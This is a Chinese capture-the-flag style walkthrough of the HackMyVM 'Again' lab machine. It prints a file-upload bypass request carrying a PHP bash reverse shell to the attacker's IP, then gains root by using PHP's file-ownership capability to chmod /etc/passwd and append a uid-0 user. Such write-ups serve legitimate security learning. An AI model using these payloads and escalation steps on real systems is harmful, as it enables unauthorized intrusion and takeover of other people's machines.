HackMyVM-Again靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.101.127)

靶  机:Linux(192.168.101.204)

物理机:win11(192.168.101.241)

注意事项:

①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。

②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录扫描)、nc(监听shell)、openssl(生成密码)

物理机:Burp suite(抓包分析)

靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。

地址:https://hackmyvm.eu/machines/machine.php?vm=Again

测试网址:http://192.168.101.204

二、测试目的

分析文件上传的源代码并绕过限制上传webshell,使用php Capabilities提权获得root权限。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

靶机IP:192.168.101.204

物理机IP:192.168.101.241

端口和服务探测

nmap -sT -A -p- -T4 192.168.101.204

可以看到靶机开启了22端口(ssh服务)、80端口(web服务)

目录扫描

dirsearch -u http://192.168.101.204 -i 200,301 --exclude-sizes=0B

只扫到一个页面,upload

2、Getshell

访问web主页是一个上传文件的页面,upload.php是上传的文件显示的页面

查看主页面的源代码发现,提示.bck文件删除,那就是没删喽

访问upload.bck成功下载文件

该文件是upload.php的备份源代码,那么现在可以做白盒测试了

可以看到,设置了黑名单符号,有黑名单符号会直接退出代码,这样上传的文件就不会移走了

此外,源代码设置的白名单jpg和txt,只检查了jpg文件,其他文件都算作txt文件上传了,并执行cat命令查看

尝试在cat命令后面进行拼接代码执行,但由于黑名单限制过多,是失败的

利用代码检测到黑名单符号就退出代码的特性,而文件不会删除,会保留

利用这一特性写入反弹shell文件;1.php

数据包如下

POST /upload.php HTTP/1.1

Host: 192.168.101.204

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------42491598439165519721451805444

Content-Length: 300

Origin: http://192.168.101.204

Connection: keep-alive

Referer: http://192.168.101.204/

Upgrade-Insecure-Requests: 1

Priority: u=0, i

-----------------------------42491598439165519721451805444

Content-Disposition: form-data; name="myFile"; filename=";1.php"

Content-Type: image/jpeg

    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.127/6666 0>&1'"); ?>

-----------------------------42491598439165519721451805444—

可以访问该文件,此时kali开启监听即可监听到反弹shell

成功获取反弹shell

3、提权

当前目录有一个id_rsa.bck文件,但没什么用

尝试寻找可利用文件

find / -perm -4000 -ls 2>/dev/null
find / -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

getcap命令可以查找文件的能力信息。

Linux 中的“能力”是一种对进程授权的机制,它允许程序在不拥有完整 root 权限的情况下执行某些特权操作。

某些程序可能被赋予了cap_fowner(修改文件所有权)或cap_net_raw(允许直接访问网络协议栈)等能力,这样它们就可以执行本来只有 root 用户才能执行的操作

可以看到php7.4可以修改文件所有权,可以利用

那么就用php来修改文件的权限,先修改user.txt的权限并查看

ls -la /home
ls -la /home/kerszi
php -r 'chmod("/home/kerszi/user.txt",0777);'

查看user.txt文件内容,得到第一个flag:

nowtheeasypart

cat /home/kerszi/user.txt

同理可以修改/root目录的权限,r00t.txt文件的权限,查看root用户的flag:

andagainandagainandagain

php -r 'chmod("/root",0777);'
ls -la /root
php -r 'chmod("/root/r00t.txt",0777);'
cat /root/r00t.txt

提权root用户也很简单,修改/etc/passwd文件的权限并给写入一个uid为0的用户即可

php -r 'chmod("/etc/passwd",0777);'

先修改权限

openssl passwd -1 root

再生成密码的加密字符串

构造新用户zz,uid为0,写入/etc/passwd

echo 'zz:$1$8YXciopU$8Z/z.3wtGbL7YHfCAy.e11:0:0:root:/root:/bin/bash' >> /etc/passwd
su zz

成功写入用户,并提权root

SHELL=/bin/bash script -q 2>/dev/null

四、结论

利用文件上传逻辑的漏洞getshell,利用Capabilities提权获取root权限。Linux中可以设置能力setcap,可以让某个文件以更高权限执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/503692.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UDP_TCP

目录 1. 回顾端口号2. UDP协议2.1 理解报头2.2 UDP的特点2.3 UDP的缓冲区及注意事项 3. TCP协议3.1 报头3.2 流量控制2.3 数据发送模式3.4 捎带应答3.5 URG && 紧急指针3.6 PSH3.7 RES 1. 回顾端口号 在 TCP/IP 协议中&#xff0c;用 “源IP”&#xff0c; “源端口号”…

Android存储方案对比(SharedPreferences 、 MMKV 、 DataStore)

简介&#xff1a;本文介绍了Android开发中常用的键值对存储方案&#xff0c;包括SharedPreferences、MMKV和DataStore&#xff0c;并且对比了它们在性能、并发处理、易用性和稳定性上的特点。通过实际代码示例&#xff0c;帮助开发者根据项目需求选择最适合的存储方案&#xff…

Unity-Mirror网络框架-从入门到精通 总目录

前言 在现代游戏开发中&#xff0c;网络功能日益成为提升游戏体验的关键组成部分。本系列文章将为读者提供对Mirror网络框架的深入了解&#xff0c;涵盖从基础到高级的多个主题。Mirror是一个用于Unity的开源网络框架&#xff0c;专为多人游戏开发设计&#xff0c;它使得开发者…

element输入框及表单元素自定义前缀

如图所示&#xff1a; <el-input class"custom-input" placeholder"请输入" prefix-icon"prefix" v-model"form.name" clearable></el-input> :deep(.custom-input) {.el-input__icon {display: inline-block;width: 40…

现代谱估计的原理及MATLAB仿真(二)(AR模型法、MVDR法、MUSIC法)

现代谱估计的原理及MATLAB仿真AR参数模型法&#xff08;参数模型功率谱估计&#xff09;、MVDR法&#xff08;最小方差无失真响应法&#xff09;、MUSIC法&#xff08;多重信号分类法&#xff09; 文章目录 前言一、AR参数模型1 原理2 MATLAB仿真 二、MVDR法1 原理2 MATLAB仿真…

对话|全年HUD前装将超330万台,疆程技术瞄准人机交互“第一屏”

2024年&#xff0c;在高阶智驾进入快速上车的同时&#xff0c;座舱人机交互也在迎来新的增长点。Chat GPT、AR-HUD、车载投影等新配置都在带来新增量机会。 高工智能汽车研究院监测数据显示&#xff0c;2024年1-10月&#xff0c;中国市场&#xff08;不含进出口&#xff09;乘用…

LabVIEW之树形控件

一、树形控件基本构成 树形控件这个名称非常形象&#xff0c;其如同树一样&#xff0c;是典型的分层结构。树形控件的属性和方法使用非常灵活&#xff0c;树形控件的内容既可以静态编辑&#xff0c;也可以通过编程来动态填充。静态编辑树形控件适用于内容不变的应用场景&#…

springboot 集成 etcd

springboot 集成 etcd 往期内容 ETCD 简介docker部署ETCD 前言 好久不见各位小伙伴们&#xff0c;上两期内容中&#xff0c;我们对于分布式kv存储中间件有了简单的认识&#xff0c;完成了docker-compose 部署etcd集群以及可视化工具 etcd Keeper&#xff0c;既然有了认识&a…

gateway的路径匹配介绍

gateway是一个单独服务。通过网关端口和predicates进行匹配服务 1先看配置。看我注解你就明白了。其实就是/order/**配置机制直接匹配到orderservice服务。 2我试着请求一个路径&#xff0c;请求成功。下面第三步是请求的接口。 3接口。

嵌入式中QT实现文本与线程控制方法

第一:利用QT进行文件读写实现 利用QT进行读写文本的时候进行读写,读取MP3歌词的文本,对这个文件进行读写操作。 实例代码,利用Qfile,对文件进行读写。 //读取对应文件文件,头文件的实现。 #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow> #incl…

书籍推荐:Kubernetes 修炼手册

这本书是 2020 年出版的&#xff0c;比较新&#xff0c;从 0 到 1 介绍了 k8s 中的相关技术和概念&#xff0c;翻译质量也可以&#xff0c;适合作为初学 k8s 的课外书。 书中比较关键的就是中间那几个章节&#xff0c;基本掌握 k8s 中 Pod、svc、StatefulSet、ConfigMap、Volum…

计算机网络 (29)网络地址转换NAT

前言 网络地址转换&#xff08;Network Address Translation&#xff0c;NAT&#xff09;是计算机网络中的一种重要协议&#xff0c;它主要用于将私有IP地址转换为公共IP地址&#xff0c;以实现内部网络与外部网络之间的通信。 一、基本概念 NAT是一种在局域网&#xff08;LAN&…

三极管工作状态分析

NPN三极管 下面是NPN三极管&#xff08;也称N管&#xff09;的标识和内部结构图&#xff1a; NPN三极管由两个PN结构成&#xff0c;靠近C&#xff08;集电极&#xff09;一侧的PN结称为集电结&#xff1b;靠近E&#xff08;发射极&#xff09;一侧的PN结称为发射结&#xff1…

基于RedHat9部署WordPress+WooCommerce架设购物网站

系统版本信息&#xff1a;Red Hat Enterprise Linux release 9.2 (Plow) WordPress版本信息&#xff1a;wordpress-6.6.2-zh_CN WooCommerce版本信息&#xff1a;woocommerce.9.5.1 环境架构&#xff1a;LNMP&#xff08;RedHat9nginx1.20.1PHP 8.0.27MySQL8.0.30&#xff09; …

【雷达】雷达的分类

文章目录 前言类别性质主要雷达分系统及其现代技术发展国外发展 前言 前言 类别 性质 按作用分类 军用雷达&#xff1a;&#xff08;按载体&#xff09;地面雷达、舰载雷达、机载雷达、星载雷达、 艇载雷达、弹载雷达 民用雷达&#xff1a;交通管制雷达、港口管制雷达、气象雷…

基于RK3568/RK3588大车360度环视影像主动安全行车辅助系统解决方案,支持ADAS/DMS

产品设计初衷 HS-P2-2D是一款针对大车盲区开发的360度全景影像 安全行车辅助系统&#xff0c;通过车身四周安装的超广角像机&#xff0c;经算法合成全景鸟瞰图&#xff0c;通过鸟瞰图&#xff0c;司机非常清楚的看清楚车辆四周情况&#xff0c;大大降低盲区引发的交通事故。 产…

微信小程序之历史上的今天

微信小程序之历史上的今天 需求描述 今天我们再来做一个小程序&#xff0c;主要是搜索历史上的今天发生了哪些大事&#xff0c;结果如下 当天的历史事件或者根据事件选择的历史事件的列表&#xff1a; 点击某个详细的历史事件以后看到详细信息&#xff1a; API申请和小程序…

PyCharm简单调试

本文简单讲述一下PyCharm中经常用到的调试操作。 示例代码如下&#xff1a; for i in range(10):print("hello", i)if i > 2:print("ok!")在代码前面打上断点&#xff0c;如下图所示&#xff1a; 单机调试按钮Debug 单机Resume Program按钮&#xf…

域名注册网国际域名与国内域名的区别

在当今互联网时代&#xff0c;域名注册是每个企业和个人建立在线存在的重要步骤。国际域名与国内域名之间存在一些显著的区别&#xff0c;这些区别影响着用户的选择和使用。 首先&#xff0c;国际域名通常以“.com”、“.net”、“.org”等后缀结尾&#xff0c;这些后缀具有全球…

Python 爬虫验证码识别

在我们进行爬虫的过程中&#xff0c;经常会碰到有些网站会时不时弹出来验证码识别。我们该如何解决呢&#xff1f;这里分享 2 种我尝试过的方法。 0.验证码示例 1.OpenCV pytesseract 使用 Python 中的 OpenCV 库进行图像预处理&#xff08;边缘保留滤波、灰度化、二值化、…